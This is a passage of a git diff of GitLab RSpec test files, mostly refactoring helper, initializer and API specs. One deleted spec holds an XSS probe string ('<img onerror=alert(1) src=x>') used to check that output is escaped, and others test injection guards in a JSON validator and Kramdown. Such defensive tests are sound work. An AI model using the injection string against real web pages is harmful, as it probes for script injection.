+ subject { helper.show_service_templates_deprecated_callout? }
+
+ where(:self_managed, :is_admin_user, :has_active_service_template, :callout_dismissed, :should_show_callout) do
+ true | true | true | false | true
+ true | true | true | true | false
+ true | false | true | false | false
+ false | true | true | false | false
+ true | true | false | false | false
end
- context 'when user dismissed' do
+ with_them do
before do
- allow(helper).to receive(:user_dismissed?).with(described_class::SERVICE_TEMPLATES_DEPRECATED) { true }
+ allow(::Gitlab).to receive(:com?).and_return(!self_managed)
+ allow(helper).to receive(:current_user).and_return(is_admin_user ? admin : non_admin)
+ allow(helper).to receive(:user_dismissed?).with(described_class::SERVICE_TEMPLATES_DEPRECATED_CALLOUT) { callout_dismissed }
+ create(:service, :template, type: 'MattermostService', active: has_active_service_template)
end
- it { is_expected.to be false }
+ it { is_expected.to be should_show_callout }
end
end
describe '.show_customize_homepage_banner?' do
- let(:customize_homepage) { true }
-
- subject { helper.show_customize_homepage_banner?(customize_homepage) }
+ subject { helper.show_customize_homepage_banner? }
context 'when user has not dismissed' do
before do
allow(helper).to receive(:user_dismissed?).with(described_class::CUSTOMIZE_HOMEPAGE) { false }
end
- context 'when customize_homepage is set' do
- it { is_expected.to be true }
- end
-
- context 'when customize_homepage is false' do
- let(:customize_homepage) { false }
-
- it { is_expected.to be false }
- end
+ it { is_expected.to be true }
end
context 'when user dismissed' do
diff --git a/spec/helpers/whats_new_helper_spec.rb b/spec/helpers/whats_new_helper_spec.rb
index 017826921ff..0e4b4621560 100644
--- a/spec/helpers/whats_new_helper_spec.rb
+++ b/spec/helpers/whats_new_helper_spec.rb
@@ -3,25 +3,15 @@
require 'spec_helper'
RSpec.describe WhatsNewHelper do
- describe '#whats_new_storage_key' do
- subject { helper.whats_new_storage_key }
+ include Devise::Test::ControllerHelpers
- context 'when version exist' do
- let(:release_item) { double(:item) }
+ describe '#whats_new_version_digest' do
+ let(:digest) { 'digest' }
- before do
- allow(ReleaseHighlight).to receive(:versions).and_return([84.0])
- end
-
- it { is_expected.to eq('display-whats-new-notification-84.0') }
- end
+ it 'calls ReleaseHighlight.most_recent_version_digest' do
+ expect(ReleaseHighlight).to receive(:most_recent_version_digest).and_return(digest)
- context 'when most recent release highlights do NOT exist' do
- before do
- allow(ReleaseHighlight).to receive(:versions).and_return(nil)
- end
-
- it { is_expected.to be_nil }
+ expect(helper.whats_new_version_digest).to eq(digest)
end
end
@@ -45,13 +35,29 @@ RSpec.describe WhatsNewHelper do
end
end
- describe '#whats_new_versions' do
- let(:versions) { [84.0] }
+ describe '#display_whats_new?' do
+ subject { helper.display_whats_new? }
+
+ it 'returns true when gitlab.com' do
+ allow(Gitlab).to receive(:dev_env_org_or_com?).and_return(true)
- it 'returns ReleaseHighlight.versions' do
- expect(ReleaseHighlight).to receive(:versions).and_return(versions)
+ expect(subject).to be true
+ end
+
+ context 'when self-managed' do
+ before do
+ allow(Gitlab).to receive(:dev_env_org_or_com?).and_return(false)
+ end
- expect(helper.whats_new_versions).to eq(versions)
+ it 'returns true if user is signed in' do
+ sign_in(create(:user))
+
+ expect(subject).to be true
+ end
+
+ it "returns false if user isn't signed in" do
+ expect(subject).to be false
+ end
end
end
end
diff --git a/spec/helpers/wiki_helper_spec.rb b/spec/helpers/wiki_helper_spec.rb
index 45e1859893f..dc76f92db1b 100644
--- a/spec/helpers/wiki_helper_spec.rb
+++ b/spec/helpers/wiki_helper_spec.rb
@@ -76,7 +76,7 @@ RSpec.describe WikiHelper do
describe '#wiki_sort_controls' do
let(:wiki) { create(:project_wiki) }
let(:wiki_link) { helper.wiki_sort_controls(wiki, sort, direction) }
- let(:classes) { "btn btn-default has-tooltip reverse-sort-btn qa-reverse-sort rspec-reverse-sort" }
+ let(:classes) { "gl-button btn btn-default btn-icon has-tooltip reverse-sort-btn qa-reverse-sort rspec-reverse-sort" }
def expected_link(sort, direction, icon_class)
path = "/#{wiki.project.full_path}/-/wikis/pages?direction=#{direction}&sort=#{sort}"
diff --git a/spec/initializers/active_record_locking_spec.rb b/spec/initializers/active_record_locking_spec.rb
index e979fa0b793..735ef7b916b 100644
--- a/spec/initializers/active_record_locking_spec.rb
+++ b/spec/initializers/active_record_locking_spec.rb
@@ -11,13 +11,13 @@ RSpec.describe 'ActiveRecord locking' do
end
it 'can be updated' do
- issue.update(title: "New title")
+ issue.update!(title: "New title")
expect(issue.reload.lock_version).to eq(new_lock_version)
end
it 'can be deleted' do
- expect { issue.destroy }.to change { Issue.count }.by(-1)
+ expect { issue.destroy! }.to change { Issue.count }.by(-1)
end
end
diff --git a/spec/initializers/fog_google_https_private_urls_spec.rb b/spec/initializers/fog_google_https_private_urls_spec.rb
index 4825525a3d8..f7b21bf850e 100644
--- a/spec/initializers/fog_google_https_private_urls_spec.rb
+++ b/spec/initializers/fog_google_https_private_urls_spec.rb
@@ -13,11 +13,13 @@ RSpec.describe 'Fog::Storage::GoogleXML::File', :fog_requests do
end
let(:file) do
+ # rubocop:disable Rails/SaveBang
directory = storage.directories.create(key: 'data')
directory.files.create(
body: 'Hello World!',
key: 'hello_world.txt'
)
+ # rubocop:enable Rails/SaveBang
end
it 'delegates to #get_https_url' do
diff --git a/spec/initializers/json_validator_patch_spec.rb b/spec/initializers/json_validator_patch_spec.rb
deleted file mode 100644
index 5d90364ae92..00000000000
--- a/spec/initializers/json_validator_patch_spec.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require 'rspec-parameterized'
-
-RSpec.describe 'JSON validator patch' do
- using RSpec::Parameterized::TableSyntax
-
- let(:schema) { '{"format": "string"}' }
-
- subject { JSON::Validator.validate(schema, data) }
-
- context 'with invalid JSON' do
- where(:data) do
- [
- 'https://example.com',
- '/tmp/test.txt'
- ]
- end
-
- with_them do
- it 'does not attempt to open a file or URI' do
- allow(File).to receive(:read).and_call_original
- allow(URI).to receive(:open).and_call_original
- expect(File).not_to receive(:read).with(data)
- expect(URI).not_to receive(:open).with(data)
- expect(subject).to be true
- end
- end
- end
-
- context 'with valid JSON' do
- let(:data) { %({ 'somekey': 'value' }) }
-
- it 'validates successfully' do
- expect(subject).to be true
- end
- end
-end
diff --git a/spec/initializers/kramdown_patch_spec.rb b/spec/initializers/kramdown_patch_spec.rb
deleted file mode 100644
index 49dda9252bb..00000000000
--- a/spec/initializers/kramdown_patch_spec.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Kramdown patch for syntax highlighting formatters' do
- subject { Kramdown::Document.new(options + "\n" + code).to_html }
-
- let(:code) do
- <<-RUBY
-~~~ ruby
- def what?
- 42
- end
-~~~
- RUBY
- end
-
- context 'with invalid formatter' do
- let(:options) { %({::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\\}" /}) }
-
- it 'falls back to standard HTML and disallows CSV' do
- expect(CSV).not_to receive(:new)
- expect(::Rouge::Formatters::HTML).to receive(:new).and_call_original
-
- expect(subject).to be_present
- end
- end
-
- context 'with valid formatter' do
- let(:options) { %({::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: HTMLLegacy\\}" /}) }
-
- it 'allows formatter' do
- expect(::Rouge::Formatters::HTMLLegacy).to receive(:new).and_call_original
-
- expect(subject).to be_present
- end
- end
-end
diff --git a/spec/initializers/pages_storage_check_spec.rb b/spec/initializers/pages_storage_check_spec.rb
new file mode 100644
index 00000000000..a76002dbdcf
--- /dev/null
+++ b/spec/initializers/pages_storage_check_spec.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'pages storage check' do
+ let(:main_error_message) { "Please enable at least one of the two Pages storage strategy (local_store or object_store) in your config/gitlab.yml." }
+
+ subject(:initializer) { load Rails.root.join('config/initializers/pages_storage_check.rb') }
+
+ context 'when local store does not exist yet' do
+ before do
+ Settings.pages['local_store'] = nil
+ end
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when pages is not enabled' do
+ before do
+ Settings.pages['enabled'] = false
+ end
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when pages is enabled' do
+ before do
+ Settings.pages['enabled'] = true
+ Settings.pages['local_store'] = Settingslogic.new({})
+ end
+
+ context 'when pages object storage is not enabled' do
+ before do
+ Settings.pages['object_store']['enabled'] = false
+ end
+
+ context 'when pages local storage is not enabled' do
+ it 'raises an exception' do
+ Settings.pages['local_store']['enabled'] = false
+
+ expect { subject }.to raise_error(main_error_message)
+ end
+ end
+
+ context 'when pages local storage is enabled' do
+ it 'is true' do
+ Settings.pages['local_store']['enabled'] = true
+
+ expect(subject).to be_truthy
+ end
+ end
+ end
+
+ context 'when pages object storage is enabled' do
+ before do
+ Settings.pages['object_store']['enabled'] = true
+ end
+
+ context 'when pages local storage is not enabled' do
+ it 'is true' do
+ Settings.pages['local_store']['enabled'] = false
+
+ expect(subject).to be_truthy
+ end
+ end
+
+ context 'when pages local storage is enabled' do
+ it 'is true' do
+ Settings.pages['local_store']['enabled'] = true
+
+ expect(subject).to be_truthy
+ end
+ end
+ end
+
+ context 'when using integers instead of booleans' do
+ it 'is true' do
+ Settings.pages['local_store']['enabled'] = 1
+ Settings.pages['object_store']['enabled'] = 0
+
+ expect(subject).to be_truthy
+ end
+ end
+
+ context 'when both enabled attributes are not set' do
+ it 'raises an exception' do
+ Settings.pages['local_store']['enabled'] = nil
+ Settings.pages['object_store']['enabled'] = nil
+
+ expect { subject }.to raise_error(main_error_message)
+ end
+ end
+ end
+end
diff --git a/spec/knapsack_env.rb b/spec/knapsack_env.rb
new file mode 100644
index 00000000000..727d18f32e2
--- /dev/null
+++ b/spec/knapsack_env.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'knapsack'
+
+module KnapsackEnv
+ def self.configure!
+ return unless ENV['CI'] && ENV['KNAPSACK_GENERATE_REPORT'] && !ENV['NO_KNAPSACK']
+
+ Knapsack::Adapters::RSpecAdapter.bind
+ end
+end
diff --git a/spec/lib/api/entities/clusters/agent_spec.rb b/spec/lib/api/entities/clusters/agent_spec.rb
new file mode 100644
index 00000000000..04f7ec28407
--- /dev/null
+++ b/spec/lib/api/entities/clusters/agent_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Entities::Clusters::Agent do
+ let_it_be(:cluster_agent) { create(:cluster_agent) }
+
+ subject { described_class.new(cluster_agent).as_json }
+
+ it 'includes basic fields' do
+ expect(subject).to include(
+ id: cluster_agent.id,
+ config_project: a_hash_including(id: cluster_agent.project_id)
+ )
+ end
+end
diff --git a/spec/lib/api/entities/design_management/design_spec.rb b/spec/lib/api/entities/design_management/design_spec.rb
index fe449e3e9bc..fe2b1dadfa7 100644
--- a/spec/lib/api/entities/design_management/design_spec.rb
+++ b/spec/lib/api/entities/design_management/design_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe API::Entities::DesignManagement::Design do
let_it_be(:design) { create(:design) }
+
let(:entity) { described_class.new(design, request: double) }
subject { entity.as_json }
diff --git a/spec/lib/api/entities/merge_request_changes_spec.rb b/spec/lib/api/entities/merge_request_changes_spec.rb
index f46d8981328..29bfd1da6cc 100644
--- a/spec/lib/api/entities/merge_request_changes_spec.rb
+++ b/spec/lib/api/entities/merge_request_changes_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe ::API::Entities::MergeRequestChanges do
let_it_be(:user) { create(:user) }
let_it_be(:merge_request) { create(:merge_request) }
+
let(:entity) { described_class.new(merge_request, current_user: user) }
subject(:basic_entity) { entity.as_json }
diff --git a/spec/lib/api/entities/project_import_failed_relation_spec.rb b/spec/lib/api/entities/project_import_failed_relation_spec.rb
index 51a684c4564..d3c24f6fce3 100644
--- a/spec/lib/api/entities/project_import_failed_relation_spec.rb
+++ b/spec/lib/api/entities/project_import_failed_relation_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe API::Entities::ProjectImportFailedRelation do
id: import_failure.id,
created_at: import_failure.created_at,
exception_class: import_failure.exception_class,
- exception_message: import_failure.exception_message,
+ exception_message: nil,
relation_name: import_failure.relation_key,
source: import_failure.source
)
diff --git a/spec/lib/api/entities/release_spec.rb b/spec/lib/api/entities/release_spec.rb
index d57c283c1f4..06062634015 100644
--- a/spec/lib/api/entities/release_spec.rb
+++ b/spec/lib/api/entities/release_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe API::Entities::Release do
let_it_be(:project) { create(:project) }
+
let(:release) { create(:release, project: project) }
let(:evidence) { release.evidences.first }
let(:user) { create(:user) }
diff --git a/spec/lib/api/helpers/authentication_spec.rb b/spec/lib/api/helpers/authentication_spec.rb
index 461b0d2f6f9..eea5c10d4f8 100644
--- a/spec/lib/api/helpers/authentication_spec.rb
+++ b/spec/lib/api/helpers/authentication_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe API::Helpers::Authentication do
let_it_be(:project, reload: true) { create(:project, :public) }
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
+ let_it_be(:ci_build) { create(:ci_build, :running, user: user) }
describe 'class methods' do
subject { Class.new.include(described_class::ClassMethods).new }
@@ -176,6 +177,20 @@ RSpec.describe API::Helpers::Authentication do
end
end
+ describe '#ci_build_from_namespace_inheritable' do
+ subject { object.ci_build_from_namespace_inheritable }
+
+ it 'returns #token_from_namespace_inheritable if it is a ci build' do
+ expect(object).to receive(:token_from_namespace_inheritable).and_return(ci_build)
+ expect(subject).to be(ci_build)
+ end
+
+ it 'returns nil if #token_from_namespace_inheritable is not a ci build' do
+ expect(object).to receive(:token_from_namespace_inheritable).and_return(personal_access_token)
+ expect(subject).to eq(nil)
+ end
+ end
+
describe '#user_from_namespace_inheritable' do
subject { object.user_from_namespace_inheritable }
diff --git a/spec/lib/api/helpers/caching_spec.rb b/spec/lib/api/helpers/caching_spec.rb
new file mode 100644
index 00000000000..a8cd061e123
--- /dev/null
+++ b/spec/lib/api/helpers/caching_spec.rb
@@ -0,0 +1,139 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe API::Helpers::Caching do
+ subject(:instance) { Class.new.include(described_class).new }
+
+ describe "#present_cached" do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+
+ let(:presenter) { API::Entities::Todo }
+
+ let(:kwargs) do
+ {
+ with: presenter,
+ project: project
+ }
+ end
+
+ subject do
+ instance.present_cached(presentable, **kwargs)
+ end
+
+ before do
+ # We have to stub #body as it's a Grape method
+ # unavailable in the module by itself
+ expect(instance).to receive(:body) do |data|
+ data
+ end
+
+ allow(instance).to receive(:current_user) { user }
+ end
+
+ context "single object" do
+ let_it_be(:presentable) { create(:todo, project: project) }
+
+ it { is_expected.to be_a(Gitlab::Json::PrecompiledJson) }
+
+ it "uses the presenter" do
+ expect(presenter).to receive(:represent).with(presentable, project: project)
+
+ subject
+ end
+
+ it "is valid JSON" do
+ parsed = Gitlab::Json.parse(subject.to_s)
+
+ expect(parsed).to be_a(Hash)
+ expect(parsed["id"]).to eq(presentable.id)
+ end
+
+ it "fetches from the cache" do
+ expect(instance.cache).to receive(:fetch).with("#{presentable.cache_key}:#{user.cache_key}", expires_in: described_class::DEFAULT_EXPIRY).once
+
+ subject
+ end
+
+ context "when a cache context is supplied" do
+ before do
+ kwargs[:cache_context] = -> (todo) { todo.project.cache_key }
+ end
+
+ it "uses the context to augment the cache key" do
+ expect(instance.cache).to receive(:fetch).with("#{presentable.cache_key}:#{project.cache_key}", expires_in: described_class::DEFAULT_EXPIRY).once
+
+ subject
+ end
+ end
+
+ context "when expires_in is supplied" do
+ it "sets the expiry when accessing the cache" do
+ kwargs[:expires_in] = 7.days
+
+ expect(instance.cache).to receive(:fetch).with("#{presentable.cache_key}:#{user.cache_key}", expires_in: 7.days).once
+
+ subject
+ end
+ end
+ end
+
+ context "for a collection of objects" do
+ let_it_be(:presentable) { Array.new(5).map { create(:todo, project: project) } }
+
+ it { is_expected.to be_an(Gitlab::Json::PrecompiledJson) }
+
+ it "uses the presenter" do
+ presentable.each do |todo|
+ expect(presenter).to receive(:represent).with(todo, project: project)
+ end
+
+ subject
+ end
+
+ it "is valid JSON" do
+ parsed = Gitlab::Json.parse(subject.to_s)
+
+ expect(parsed).to be_an(Array)
+
+ presentable.each_with_index do |todo, i|
+ expect(parsed[i]["id"]).to eq(todo.id)
+ end
+ end
+
+ it "fetches from the cache" do
+ keys = presentable.map { |todo| "#{todo.cache_key}:#{user.cache_key}" }
+
+ expect(instance.cache).to receive(:fetch_multi).with(*keys, expires_in: described_class::DEFAULT_EXPIRY).once.and_call_original
+
+ subject
+ end
+
+ context "when a cache context is supplied" do
+ before do
+ kwargs[:cache_context] = -> (todo) { todo.project.cache_key }
+ end
+
+ it "uses the context to augment the cache key" do
+ keys = presentable.map { |todo| "#{todo.cache_key}:#{project.cache_key}" }
+
+ expect(instance.cache).to receive(:fetch_multi).with(*keys, expires_in: described_class::DEFAULT_EXPIRY).once.and_call_original
+
+ subject
+ end
+ end
+
+ context "expires_in is supplied" do
+ it "sets the expiry when accessing the cache" do
+ keys = presentable.map { |todo| "#{todo.cache_key}:#{user.cache_key}" }
+ kwargs[:expires_in] = 7.days
+
+ expect(instance.cache).to receive(:fetch_multi).with(*keys, expires_in: 7.days).once.and_call_original
+
+ subject
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/api/helpers/packages/dependency_proxy_helpers_spec.rb b/spec/lib/api/helpers/packages/dependency_proxy_helpers_spec.rb
index 6d06fc3618d..99b52236771 100644
--- a/spec/lib/api/helpers/packages/dependency_proxy_helpers_spec.rb
+++ b/spec/lib/api/helpers/packages/dependency_proxy_helpers_spec.rb
@@ -12,6 +12,10 @@ RSpec.describe API::Helpers::Packages::DependencyProxyHelpers do
subject { helper.redirect_registry_request(forward_to_registry, package_type, options) { helper.fallback } }
+ before do
+ allow(helper).to receive(:options).and_return(for: API::NpmInstancePackages)
+ end
+
shared_examples 'executing fallback' do
it 'redirects to package registry' do
expect(helper).to receive(:registry_url).never
@@ -23,13 +27,14 @@ RSpec.describe API::Helpers::Packages::DependencyProxyHelpers do
end
shared_examples 'executing redirect' do
- it 'redirects to package registry' do
- expect(helper).to receive(:track_event).with('npm_request_forward').once
+ it 'redirects to package registry', :snowplow do
expect(helper).to receive(:registry_url).once
expect(helper).to receive(:redirect).once
expect(helper).to receive(:fallback).never
subject
+
+ expect_snowplow_event(category: 'API::NpmInstancePackages', action: 'npm_request_forward')
end
end
@@ -64,7 +69,6 @@ RSpec.describe API::Helpers::Packages::DependencyProxyHelpers do
let(:package_type) { pkg_type }
it 'raises an error' do
- allow(helper).to receive(:track_event)
expect { subject }.to raise_error(ArgumentError, "Can't build registry_url for package_type #{package_type}")
end
end
diff --git a/spec/lib/api/helpers/packages_manager_clients_helpers_spec.rb b/spec/lib/api/helpers/packages_manager_clients_helpers_spec.rb
index 3c40859da21..e4c5002aa68 100644
--- a/spec/lib/api/helpers/packages_manager_clients_helpers_spec.rb
+++ b/spec/lib/api/helpers/packages_manager_clients_helpers_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe API::Helpers::PackagesManagerClientsHelpers do
let_it_be(:personal_access_token) { create(:personal_access_token) }
let_it_be(:username) { personal_access_token.user.username }
let_it_be(:helper) { Class.new.include(described_class).new }
+
let(:password) { personal_access_token.token }
let(:env) do
@@ -50,6 +51,7 @@ RSpec.describe API::Helpers::PackagesManagerClientsHelpers do
describe '#find_job_from_http_basic_auth' do
let_it_be(:user) { personal_access_token.user }
+
let(:job) { create(:ci_build, user: user, status: :running) }
let(:password) { job.token }
@@ -74,6 +76,7 @@ RSpec.describe API::Helpers::PackagesManagerClientsHelpers do
describe '#find_deploy_token_from_http_basic_auth' do
let_it_be(:deploy_token) { create(:deploy_token) }
+
let(:token) { deploy_token.token }
let(:username) { deploy_token.username }
let(:password) { token }
diff --git a/spec/lib/api/helpers/variables_helpers_spec.rb b/spec/lib/api/helpers/variables_helpers_spec.rb
new file mode 100644
index 00000000000..de6bebaa827
--- /dev/null
+++ b/spec/lib/api/helpers/variables_helpers_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Helpers::VariablesHelpers do
+ let(:helper) { Class.new.include(described_class).new }
+
+ describe '#filter_variable_parameters' do
+ let(:project) { double }
+ let(:params) { double }
+
+ subject { helper.filter_variable_parameters(project, params) }
+
+ it 'returns unmodified params (overridden in EE)' do
+ expect(subject).to eq(params)
+ end
+ end
+
+ describe '#find_variable' do
+ let(:owner) { double }
+ let(:params) { double }
+ let(:variables) { [double] }
+
+ subject { helper.find_variable(owner, params) }
+
+ before do
+ expect(Ci::VariablesFinder).to receive(:new).with(owner, params)
+ .and_return(double(execute: variables))
+ end
+
+ it { is_expected.to eq(variables.first) }
+
+ context 'there are multiple variables with the supplied key' do
+ let(:variables) { [double, double] }
+
+ it 'raises a conflict!' do
+ expect(helper).to receive(:conflict!).with(/There are multiple variables with provided parameters/)
+
+ subject
+ end
+ end
+ end
+end
diff --git a/spec/lib/api/helpers_spec.rb b/spec/lib/api/helpers_spec.rb
index bdf04fafaae..15b22fcf25e 100644
--- a/spec/lib/api/helpers_spec.rb
+++ b/spec/lib/api/helpers_spec.rb
@@ -47,6 +47,58 @@ RSpec.describe API::Helpers do
end
end
+ describe '#find_project!' do
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:user) { create(:user) }
+
+ shared_examples 'private project without access' do
+ before do
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value('private'))
+ allow(subject).to receive(:authenticate_non_public?).and_return(false)
+ end
+
+ it 'returns not found' do
+ expect(subject).to receive(:not_found!)
+
+ subject.find_project!(project.id)
+ end
+ end
+
+ context 'when user is authenticated' do
+ before do
+ subject.instance_variable_set(:@current_user, user)
+ subject.instance_variable_set(:@initial_current_user, user)
+ end
+
+ context 'public project' do
+ it 'returns requested project' do
+ expect(subject.find_project!(project.id)).to eq(project)
+ end
+ end
+
+ context 'private project' do
+ it_behaves_like 'private project without access'
+ end
+ end
+
+ context 'when user is not authenticated' do
+ before do
+ subject.instance_variable_set(:@current_user, nil)
+ subject.instance_variable_set(:@initial_current_user, nil)
+ end
+
+ context 'public project' do
+ it 'returns requested project' do
+ expect(subject.find_project!(project.id)).to eq(project)
+ end
+ end
+
+ context 'private project' do
+ it_behaves_like 'private project without access'
+ end
+ end
+ end
+
describe '#find_namespace' do
let(:namespace) { create(:namespace) }
@@ -175,64 +227,27 @@ RSpec.describe API::Helpers do
end
end
- describe '#track_event' do
- it "creates a gitlab tracking event", :snowplow do
- subject.track_event('my_event', category: 'foo')
-
- expect_snowplow_event(category: 'foo', action: 'my_event')
- end
-
- it "logs an exception" do
- expect(Gitlab::AppLogger).to receive(:warn).with(/Tracking event failed/)
-
- subject.track_event('my_event', category: nil)
- end
- end
-
describe '#increment_unique_values' do
let(:value) { '9f302fea-f828-4ca9-aef4-e10bd723c0b3' }
let(:event_name) { 'g_compliance_dashboard' }
let(:unknown_event) { 'unknown' }
- let(:feature) { "usage_data_#{event_name}" }
-
- before do
- skip_feature_flags_yaml_validation
- end
- context 'with feature enabled' do
- before do
- stub_feature_flags(feature => true)
- end
+ it 'tracks redis hll event' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event).with(event_name, values: value)
- it 'tracks redis hll event' do
- expect(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event).with(event_name, values: value)
-
- subject.increment_unique_values(event_name, value)
- end
-
- it 'logs an exception for unknown event' do
- expect(Gitlab::AppLogger).to receive(:warn).with("Redis tracking event failed for event: #{unknown_event}, message: Unknown event #{unknown_event}")
-
- subject.increment_unique_values(unknown_event, value)
- end
+ subject.increment_unique_values(event_name, value)
+ end
- it 'does not track event for nil values' do
- expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+ it 'logs an exception for unknown event' do
+ expect(Gitlab::AppLogger).to receive(:warn).with("Redis tracking event failed for event: #{unknown_event}, message: Unknown event #{unknown_event}")
- subject.increment_unique_values(unknown_event, nil)
- end
+ subject.increment_unique_values(unknown_event, value)
end
- context 'with feature disabled' do
- before do
- stub_feature_flags(feature => false)
- end
-
- it 'does not track event' do
- expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+ it 'does not track event for nil values' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
- subject.increment_unique_values(event_name, value)
- end
+ subject.increment_unique_values(unknown_event, nil)
end
end
diff --git a/spec/lib/atlassian/jira_connect/serializers/pull_request_entity_spec.rb b/spec/lib/atlassian/jira_connect/serializers/pull_request_entity_spec.rb
index 872ba1ab43d..6399fc9053b 100644
--- a/spec/lib/atlassian/jira_connect/serializers/pull_request_entity_spec.rb
+++ b/spec/lib/atlassian/jira_connect/serializers/pull_request_entity_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe Atlassian::JiraConnect::Serializers::PullRequestEntity do
end
context 'with user_notes_count option' do
- let(:user_notes_count) { merge_requests.map { |merge_request| [merge_request.id, 1] }.to_h }
+ let(:user_notes_count) { merge_requests.to_h { |merge_request| [merge_request.id, 1] } }
subject { described_class.represent(merge_requests, user_notes_count: user_notes_count).as_json }
diff --git a/spec/lib/banzai/filter/abstract_reference_filter_spec.rb b/spec/lib/banzai/filter/abstract_reference_filter_spec.rb
deleted file mode 100644
index 797f1c8d52f..00000000000
--- a/spec/lib/banzai/filter/abstract_reference_filter_spec.rb
+++ /dev/null
@@ -1,102 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::AbstractReferenceFilter do
- let_it_be(:project) { create(:project) }
-
- let(:doc) { Nokogiri::HTML.fragment('') }
- let(:filter) { described_class.new(doc, project: project) }
-
- describe '#references_per_parent' do
- let(:doc) { Nokogiri::HTML.fragment("#1 #{project.full_path}#2 #2") }
-
- it 'returns a Hash containing references grouped per parent paths' do
- expect(described_class).to receive(:object_class).exactly(6).times.and_return(Issue)
-
- refs = filter.references_per_parent
-
- expect(refs).to match(a_hash_including(project.full_path => contain_exactly(1, 2)))
- end
- end
-
- describe '#data_attributes_for' do
- let_it_be(:issue) { create(:issue, project: project) }
-
- it 'is not an XSS vector' do
- allow(described_class).to receive(:object_class).and_return(Issue)
-
- data_attributes = filter.data_attributes_for('xss &lt;img onerror=alert(1) src=x&gt;', project, issue, link_content: true)
-
- expect(data_attributes[:original]).to eq('xss &amp;lt;img onerror=alert(1) src=x&amp;gt;')
- end
- end
-
- describe '#parent_per_reference' do
- it 'returns a Hash containing projects grouped per parent paths' do
- expect(filter).to receive(:references_per_parent)
- .and_return({ project.full_path => Set.new([1]) })
-
- expect(filter.parent_per_reference)
- .to eq({ project.full_path => project })
- end
- end
-
- describe '#find_for_paths' do
- context 'with RequestStore disabled' do
- it 'returns a list of Projects for a list of paths' do
- expect(filter.find_for_paths([project.full_path]))
- .to eq([project])
- end
-
- it "return an empty array for paths that don't exist" do
- expect(filter.find_for_paths(['nonexistent/project']))
- .to eq([])
- end
- end
-
- context 'with RequestStore enabled', :request_store do
- it 'returns a list of Projects for a list of paths' do
- expect(filter.find_for_paths([project.full_path]))
- .to eq([project])
- end
-
- context "when no project with that path exists" do
- it "returns no value" do
- expect(filter.find_for_paths(['nonexistent/project']))
- .to eq([])
- end
-
- it "adds the ref to the project refs cache" do
- project_refs_cache = {}
- allow(filter).to receive(:refs_cache).and_return(project_refs_cache)
-
- filter.find_for_paths(['nonexistent/project'])
-
- expect(project_refs_cache).to eq({ 'nonexistent/project' => nil })
- end
-
- context 'when the project refs cache includes nil values' do
- before do
- # adds { 'nonexistent/project' => nil } to cache
- filter.from_ref_cached('nonexistent/project')
- end
-
- it "return an empty array for paths that don't exist" do
- expect(filter.find_for_paths(['nonexistent/project']))
- .to eq([])
- end
- end
- end
- end
- end
-
- describe '#current_parent_path' do
- it 'returns the path of the current parent' do
- doc = Nokogiri::HTML.fragment('')
- filter = described_class.new(doc, project: project)
-
- expect(filter.current_parent_path).to eq(project.full_path)
- end
- end
-end
diff --git a/spec/lib/banzai/filter/alert_reference_filter_spec.rb b/spec/lib/banzai/filter/alert_reference_filter_spec.rb
deleted file mode 100644
index c57a8a7321c..00000000000
--- a/spec/lib/banzai/filter/alert_reference_filter_spec.rb
+++ /dev/null
@@ -1,223 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::AlertReferenceFilter do
- include FilterSpecHelper
-
- let_it_be(:project) { create(:project, :public) }
- let_it_be(:alert) { create(:alert_management_alert, project: project) }
- let_it_be(:reference) { alert.to_reference }
-
- it 'requires project context' do
- expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
- end
-
- %w(pre code a style).each do |elem|
- it "ignores valid references contained inside '#{elem}' element" do
- exp = act = "<#{elem}>Alert #{reference}</#{elem}>"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'internal reference' do
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq alert.details_url
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Alert (#{reference}.)")
-
- expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(reference)}</a>\.\)})
- end
-
- it 'ignores invalid alert IDs' do
- exp = act = "Alert #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
-
